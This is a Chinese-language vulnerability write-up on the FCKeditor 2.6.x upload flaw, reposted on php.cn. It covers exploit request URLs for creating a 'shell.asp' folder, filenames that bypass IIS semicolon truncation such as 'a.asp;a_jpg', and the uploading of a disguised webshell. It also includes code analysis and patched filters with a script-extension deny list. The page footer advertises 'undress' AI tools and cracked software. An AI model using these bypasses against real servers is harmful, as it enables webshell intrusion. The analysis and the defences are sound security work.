search
Homephp教程php手册Fckeditor PHP/ASP File Upload Vul

目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 FCKeditor是目前最优秀的可见即可得网页编辑器之一,它采用JavaScript编写。具备功能强大、配置容易、跨浏览器、支持多种编程语言、开源等特

目录

<span>1</span><span>. 漏洞描述
</span><span>2</span><span>. 漏洞触发条件
</span><span>3</span><span>. 漏洞影响范围
</span><span>4</span><span>. 漏洞代码分析
</span><span>5</span><span>. 防御方法
</span><span>6</span>. 攻防思考

 

1. 漏洞描述

FCKeditor是目前最优秀的可见即可得网页编辑器之一,它采用JavaScript编写。具备功能强大、配置容易、跨浏览器、支持多种编程语言、开源等特点。它非常流行,互联网上很容易找到相关技术文档,国内许多WEB项目和大型网站均采用了FCKeditor
它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的编程语言相结合
FCK中一个很重要的文件上传的功能,常常被黑客用来进行GETSHELL攻击,根本原因是因为角色权限控制不严、以及文件扩展名限制逻辑存在BYPASS缺陷

Relevant Link:

http:<span>//</span><span>sebug.net/vuldb/ssvid-20830</span>


2. 漏洞触发条件

0x1: 信息搜集

首先收集FCK的版本信息

http:<span>//</span><span>localhost/fckeditor/editor/dialog/fck_about.html</span><span>
/*</span><span>
version 
2.6.8
Build 25427
</span><span>*/</span>

0x2: 获取上传点路径

<span>爆物理路径
http:</span><span>//</span><span>172.31.200.74/editor/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp</span>

<span>1</span><span>. 爆路径漏洞
http:</span><span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp</span>

<span>2</span><span>. 列目录漏洞也可助找上传地址
http:</span><span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp</span>
<span>
http:</span><span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F</span>

<span>3</span><span>. 其他上传地址
http:</span><span>//</span><span>192.168.174.138/fckeditor/_samples/default.html</span>
http:<span>//</span><span>192.168.174.138/fckeditor/_samples/asp/sample01.asp</span>
http:<span>//</span><span>192.168.174.138/fckeditor/_samples/asp/sample02.asp</span>
http:<span>//</span><span>192.168.174.138/fckeditor/_samples/asp/sample03.asp</span>
http:<span>//</span><span>192.168.174.138/fckeditor/_samples/asp/sample04.asp</span>
<span>一般很多站点都已删除_samples目录,可以试试。
FCKeditor</span>/editor/<span>fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页
http:</span><span>//</span><span>192.168.174.138/fckeditor/editor/fckeditor.html</span>

<span>4</span><span>. 常用上传地址
http:</span><span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/</span>
http:<span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp</span>
http:<span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=</span><span>http://www.site.com</span><span>%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php  </span>

<span>5</span><span>. FCKeditor 中test 文件的上传地址
http:</span><span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/test.html</span>
http:<span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/upload/test.html</span>
http:<span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/connectors/test.html</span>
http:<span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/connectors/uploadtest.html </span>

最终获得的上传点如下

http:<span>//</span><span>localhost/fckeditor/editor/filemanager/connectors/test.html</span>
http:<span>//</span><span>localhost/fckeditor/editor/filemanager/connectors/uploadtest.html</span>

0x3: 建立新文件夹

http:<span>//</span><span>localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
</span><span>//</span><span>在images文件夹下建立文件夹 </span>

0x4: IIS解析漏洞

如果你的文件处在一个xx.asp文件夹下,那这个文件夹下的所有文件都会被当作.asp脚本来执行,这是利用了IIS的xx.asp文件夹解析漏洞

<span>1</span>. 建立一个文件夹/z/<span>shell.asp
http:</span><span>//</span><span>localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684 </span>
http:<span>//</span><span>localhost/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp</span>

<span>2</span><span>. 上传一个内容为WEBSHELL的xx.jpg文件
http:</span><span>//</span><span>localhost/userfiles/image/shell.asp/z/choop.jpg</span>
http:<span>//</span><span>localhost/userfiles/image/shell.asp/z/choop.jpg
</span><span>//</span><span>这个xx.jpg会被当作webshell解析</span>

0x5: FCK扩展名过滤防御解析漏洞

正常情况下,fck对上传的文件后缀扩展名是有防御逻辑的(即禁止上传脚本文件)

<span>1</span><span>. 上传文件名: shell.php;.jpg
文件会被重命名为: shell_php.jpg

</span><span>2</span><span>. 如果上传文件名: 
    </span><span>1</span><span>) a.php;a_jpg
    </span><span>2</span><span>) a.asp;a_jpg
则文件不会被重命名
 
</span><span>3</span>. 又因为IIS存在一个解析漏洞,分号<span>"</span><span>;</span><span>"</span><span>后面的字符串会被IIS截断,导致黑客上传的文件对IIS来说就是
a.php
a.asp
从而得到执行</span>

Relevant Link:

http:<span>//</span><span>hi.baidu.com/holyli/item/f2d37959513ed509e6c4a597</span>


3. 漏洞影响范围

2.6.xx


4. 漏洞代码分析

FCKEditor上传检测,是通过黑色单/白名单的方式检测允许和不允许上传的文件类型,具体的实现逻辑位于

<span>1</span><span>. asp: \fckeditor\editor\filemanager\connectors\asp
</span><span>2</span>. php: \fckeditor\editor\filemanager\connectors\php

0x1: ASP

\fckeditor\editor\filemanager\connectors\asp\class_upload.asp

<span>Private Function IsAllowed(sExt)
        Dim oRE
        Set oRE    </span>=<span> New RegExp
        oRE.IgnoreCase    </span>=<span> True
        oRE.Global        </span>=<span> True

        If sDenied </span>= <span>""</span><span> Then
            oRE.Pattern    </span>=<span> sAllowed
            IsAllowed    </span>= (sAllowed = <span>""</span><span>) Or oRE.Test(sExt)
        Else
            oRE.Pattern    </span>=<span> sDenied
            IsAllowed    </span>=<span> Not oRE.Test(sExt)
        End If

        Set oRE    </span>=<span> Nothing
End Function</span>

\fckeditor\editor\filemanager\connectors\asp\io.asp

<span>Function IsAllowedExt( extension, resourceType )
    Dim oRE
    Set oRE    </span>=<span> New RegExp
    oRE.IgnoreCase    </span>=<span> True
    oRE.Global        </span>=<span> True

    Dim sAllowed, sDenied
    sAllowed    </span>=<span> ConfigAllowedExtensions.Item( resourceType )
    sDenied        </span>=<span> ConfigDeniedExtensions.Item( resourceType )

    IsAllowedExt </span>=<span> True

    If sDenied </span> <span>""</span><span> Then
        oRE.Pattern    </span>=<span> sDenied
        IsAllowedExt    </span>=<span> Not oRE.Test( extension )
    End If

    If IsAllowedExt And sAllowed </span> <span>""</span><span> Then
        oRE.Pattern        </span>=<span> sAllowed
        IsAllowedExt    </span>=<span> oRE.Test( extension )
    End If

    Set oRE    </span>=<span> Nothing
End Function</span>

待检测的extension是来自FCK的配置文件:config.asp
\fckeditor\editor\filemanager\connectors\asp\config.asp

ConfigAllowedExtensions.Add    <span>"</span><span>File</span><span>"</span>, <span>"</span><span>7z|aiff|asf|avi|bmp|csv|doc|fla|flv|gif|gz|gzip|jpeg|jpg|mid|mov|mp3|mp4|mpc|mpeg|mpg|ods|odt|pdf|png|ppt|pxd|qt|ram|rar|rm|rmi|rmvb|rtf|sdc|sitd|swf|sxc|sxw|tar|tgz|tif|tiff|txt|vsd|wav|wma|wmv|xls|xml|zip</span><span>"</span><span>

ConfigAllowedExtensions.Add    </span><span>"</span><span>Image</span><span>"</span>, <span>"</span><span>bmp|gif|jpeg|jpg|png</span><span>"</span><span>

ConfigAllowedExtensions.Add    </span><span>"</span><span>Flash</span><span>"</span>, <span>"</span><span>swf|flv</span><span>"</span><span>

ConfigAllowedExtensions.Add    </span><span>"</span><span>Media</span><span>"</span>, <span>"</span><span>aiff|asf|avi|bmp|fla|flv|gif|jpeg|jpg|mid|mov|mp3|mp4|mpc|mpeg|mpg|png|qt|ram|rm|rmi|rmvb|swf|tif|tiff|wav|wma|wmv</span><span>"</span>

这只是提供给FCK的正则判断逻辑,真正的重命名机制在这里
\fckeditor\editor\filemanager\connectors\asp\io.asp

<span>'</span><span> Do a cleanup of the file name to avoid possible problems</span>
<span>function SanitizeFileName( sNewFileName )
    Dim oRegex
    Set oRegex </span>=<span> New RegExp
    oRegex.Global        </span>=<span> True

    </span><span>if</span> ( ConfigForceSingleExtension =<span> True ) then
        </span><span>/*</span><span>
        这就是重命名文件名的关键逻辑了
        从第一个遇到"."号开始搜索,并把后面的内容当作捕获分组,捕获分组的过滤条件是不会再在后面遇到一个"."号 了,并设置一个断言,断言的内容为捕获分组的内容不可能发生,即如果还在后面遇到了一个"."号,则这个正则判断成立,即搜索到第一次遇到的"."号。然后进行replace操作,把"."号替换成"_"
        1. 如果我们的文件名是: asp.asp;asp.jpg,自然会被正则捕获到,第一个"."号就被替换成了"_"
        2. 如果我们的文件名是: asp.asp;jpg,这种文件名也能通过文件后缀判断逻辑,即bypass
        </span><span>*/</span><span>
        oRegex.Pattern </span>= <span>"</span><span>\.(?![^.]*$)</span><span>"</span><span>
        sNewFileName </span>= oRegex.Replace( sNewFileName, <span>"</span><span>_</span><span>"</span><span> )
    end </span><span>if</span>

<span>'</span><span> remove \ / | : ? *  "  and control characters</span>
    oRegex.Pattern = <span>"</span><span>(\\|\/|\||:|\?|\*|</span><span>""</span><span>|\|[\u0000-\u001F]|\u007F)</span><span>"</span><span>
    SanitizeFileName </span>= oRegex.Replace( sNewFileName, <span>"</span><span>_</span><span>"</span><span> )

    Set oRegex </span>=<span> Nothing
end function</span>


5. 防御方法

1. ASP

0x1:  删除fckeditor下含test的html文件

<span>1</span>. \editor\filemanager\connectors\test.html

0x2: 在代码层防御IIS解析漏洞(分号截断)

\fckeditor\editor\filemanager\connectors\asp\io.asp

<span>'</span><span> Do a cleanup of the file name to avoid possible problems</span>
<span>function SanitizeFileName( sNewFileName )
    Dim oRegex
    Dim oRegexSecurityExt
    Set oRegex                 </span>=<span> New RegExp
    Set oRegexSecurityExt     </span>=<span> New RegExp
    oRegex.Global                    </span>=<span> True
    oRegexSecurityExt.Global        </span>=<span> True

    </span><span>if</span> ( ConfigForceSingleExtension =<span> True ) then
        oRegex.Pattern </span>= <span>"</span><span>\.(?![^.]*$)</span><span>"</span><span>
        <span>SanitizeFileName</span> </span>= oRegex.Replace( sNewFileName, <span>"</span><span>_</span><span>"</span><span> )

        oRegexSecurityExt.Pattern </span>= <span>"</span><span>\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)(;|$)</span><span>"</span><span>
        <span>SanitizeFileName</span> </span>= oRegexSecurityExt.Replace( <span>sNewFileName</span>, <span>"</span><span>_</span><span>"</span><span> )
    end </span><span>if</span>

<span>'</span><span> remove \ / | : ? *  "  and control characters</span>
    oRegex.Pattern = <span>"</span><span>(\\|\/|\||:|\;|\?|\*|</span><span>""</span><span>|\|[\u0000-\u001F]|\u007F)</span><span>"</span><span>
    SanitizeFileName </span>= oRegex.Replace( sNewFileName, <span>"</span><span>_</span><span>"</span><span> )

    Set oRegex </span>=<span> Nothing
end function</span>

0x3: 在代码层防御IIS解析漏洞(创建xx.asp目录)
如果黑客通过FCK的目录创建接口创建了一个xx.asp目录,IIS将此目录下的的任意文件都当作asp脚本进行解析,攻击者可以向这个目录下上传包含WEBSHELL的jpg文件

<span>'</span><span> Do a cleanup of the folder name to avoid possible problems</span>
<span>function SanitizeFolderName( sNewFolderName )
    Dim oRegex
    Dim oRegexSecurityExt
    Set oRegex                 </span>=<span> New RegExp
    Set oRegexSecurityExt     </span>=<span> New RegExp
    oRegex.Global                    </span>=<span> True
    oRegexSecurityExt.Global        </span>=<span> True

    </span><span>'</span><span>remove . \ / | : ? *  "  and control characters</span>
    oRegex.Pattern = <span>"</span><span>(\.|\\|\/|\||:|\?|\;|\*|</span><span>""</span><span>|\|[\u0000-\u001F]|\u007F)</span><span>"</span><span>
    SanitizeFolderName </span>= oRegex.Replace( sNewFolderName, <span>"</span><span>_</span><span>"</span><span> )

    </span><span>'</span><span>forbidden the dangerous ext</span>
    oRegexSecurityExt.Pattern = <span>"</span><span>\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)$</span><span>"</span><span>
    SanitizeFolderName </span>= oRegexSecurityExt.Replace( sNewFolderName, <span>"</span><span>_</span><span>"</span><span> )

    Set oRegex </span>=<span> Nothing
end function</span>

0x4: 扩展名上传限制正则绕过漏洞

和0x2: 在代码层防御IIS解析漏洞(分号截断)相同,同时还可以通过强化正则规则,在扩展名的头尾加上"起始"、"结束"定界符来规避攻击者的畸形后缀bypass

<span>Function IsAllowedType( resourceType )
    Dim oRE
    Set oRE    </span>=<span> New RegExp
    oRE.IgnoreCase    </span>=<span> False
    oRE.Global        </span>=<span> True
    oRE.Pattern        </span>= <span>"</span><span>^(</span><span>"</span> & ConfigAllowedTypes & <span>"</span><span>)$</span><span>"</span><span>

    IsAllowedType </span>=<span> oRE.Test( resourceType )

    Set oRE    </span>=<span> Nothing
End Function

Function IsAllowedCommand( sCommand )
    Dim oRE
    Set oRE    </span>=<span> New RegExp
    oRE.IgnoreCase    </span>=<span> True
    oRE.Global        </span>=<span> True
    oRE.Pattern        </span>= <span>"</span><span>^(</span><span>"</span> & ConfigAllowedCommands & <span>"</span><span>)$</span><span>"</span><span>

    IsAllowedCommand </span>=<span> oRE.Test( sCommand )

    Set oRE    </span>=<span> Nothing
End Function</span>

Relevant Link:

http:<span>//</span><span>www.chinaz.com/news/2012/1205/284700.shtml</span>
http:<span>//</span><span>www.sdlunzhong.cn/itres/showitnews.aspx?id=807</span>

2. PHP

存在IIS+FastCGI即同时存在ASP、PHP的运行环境

/fckeditor/editor/filemanager/connectors/php/io.php

<span>//</span><span> Do a cleanup of the folder name to avoid possible problems</span>
<span>function SanitizeFolderName( $sNewFolderName )
{
    $sNewFolderName </span>=<span> stripslashes( $sNewFolderName ) ;

    </span><span>//</span><span> Remove . \ / | : ; . ? * " </span>
    $sNewFolderName = preg_replace( <span>'</span><span>/\\.|\\\\|\\;|\\/|\\||\\:|\\?|\\*|"||[[:cntrl:]]/</span><span>'</span>, <span>'</span><span>_</span><span>'</span><span>, $sNewFolderName ) ;

    $sNewFolderName </span>= preg_replace( <span>'</span><span>/\\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)$/i</span><span>'</span>, <span>'</span><span>_</span><span>'</span><span>, $sNewFolderName ) ;

    </span><span>return</span><span> $sNewFolderName ;
}

</span><span>//</span><span> Do a cleanup of the file name to avoid possible problems</span>
<span>function SanitizeFileName( $sNewFileName )
{
    </span><span>global</span><span> $Config ;

    $sNewFileName </span>=<span> stripslashes( $sNewFileName ) ;

    </span><span>//</span><span> Replace dots in the name with underscores (only one dot can be there... security issue).</span>
    <span>if</span> ( $Config[<span>'</span><span>ForceSingleExtension</span><span>'</span><span>] )
        $sNewFileName </span>= preg_replace( <span>'</span><span>/\\.(?![^.]*$)/</span><span>'</span>, <span>'</span><span>_</span><span>'</span><span>, $sNewFileName ) ;

    </span><span>//</span><span> Remove \ / | : ? * " </span>
    $sNewFileName = preg_replace( <span>'</span><span>/\\\\|\\/|\\||\\:|\\;|\\?|\\*|"||[[:cntrl:]]/</span><span>'</span>, <span>'</span><span>_</span><span>'</span><span>, $sNewFileName ) ;

    $sNewFileName </span>= preg_replace( <span>'</span><span>/\\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)(;|$)/i</span><span>'</span>, <span>'</span><span>_</span><span>'</span><span>, $sNewFileName ) ;

    </span><span>return</span><span> $sNewFileName ;
}</span>


6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

 

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
php怎么把负数转为正整数php怎么把负数转为正整数Apr 19, 2022 pm 08:59 PM

php把负数转为正整数的方法:1、使用abs()函数将负数转为正数,使用intval()函数对正数取整,转为正整数,语法“intval(abs($number))”;2、利用“~”位运算符将负数取反加一,语法“~$number + 1”。

php怎么实现几秒后执行一个函数php怎么实现几秒后执行一个函数Apr 24, 2022 pm 01:12 PM

实现方法:1、使用“sleep(延迟秒数)”语句,可延迟执行函数若干秒;2、使用“time_nanosleep(延迟秒数,延迟纳秒数)”语句,可延迟执行函数若干秒和纳秒;3、使用“time_sleep_until(time()+7)”语句。

php怎么除以100保留两位小数php怎么除以100保留两位小数Apr 22, 2022 pm 06:23 PM

php除以100保留两位小数的方法:1、利用“/”运算符进行除法运算,语法“数值 / 100”;2、使用“number_format(除法结果, 2)”或“sprintf("%.2f",除法结果)”语句进行四舍五入的处理值,并保留两位小数。

php怎么根据年月日判断是一年的第几天php怎么根据年月日判断是一年的第几天Apr 22, 2022 pm 05:02 PM

判断方法:1、使用“strtotime("年-月-日")”语句将给定的年月日转换为时间戳格式;2、用“date("z",时间戳)+1”语句计算指定时间戳是一年的第几天。date()返回的天数是从0开始计算的,因此真实天数需要在此基础上加1。

php字符串有没有下标php字符串有没有下标Apr 24, 2022 am 11:49 AM

php字符串有下标。在PHP中,下标不仅可以应用于数组和对象,还可应用于字符串,利用字符串的下标和中括号“[]”可以访问指定索引位置的字符,并对该字符进行读写,语法“字符串名[下标值]”;字符串的下标值(索引值)只能是整数类型,起始值为0。

php怎么判断有没有小数点php怎么判断有没有小数点Apr 20, 2022 pm 08:12 PM

php判断有没有小数点的方法:1、使用“strpos(数字字符串,'.')”语法,如果返回小数点在字符串中第一次出现的位置,则有小数点;2、使用“strrpos(数字字符串,'.')”语句,如果返回小数点在字符串中最后一次出现的位置,则有。

php怎么替换nbsp空格符php怎么替换nbsp空格符Apr 24, 2022 pm 02:55 PM

方法:1、用“str_replace("&nbsp;","其他字符",$str)”语句,可将nbsp符替换为其他字符;2、用“preg_replace("/(\s|\&nbsp\;||\xc2\xa0)/","其他字符",$str)”语句。

php怎么读取字符串后几个字符php怎么读取字符串后几个字符Apr 22, 2022 pm 08:31 PM

在php中,可以使用substr()函数来读取字符串后几个字符,只需要将该函数的第二个参数设置为负值,第三个参数省略即可;语法为“substr(字符串,-n)”,表示读取从字符串结尾处向前数第n个字符开始,直到字符串结尾的全部字符。

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
Repo: How To Revive Teammates
1 months agoBy尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: How To Get Giant Seeds
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

EditPlus Chinese cracked version

EditPlus Chinese cracked version

Small size, syntax highlighting, does not support code prompt function

SublimeText3 English version

SublimeText3 English version

Recommended: Win version, supports code prompts!

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Powerful PHP integrated development environment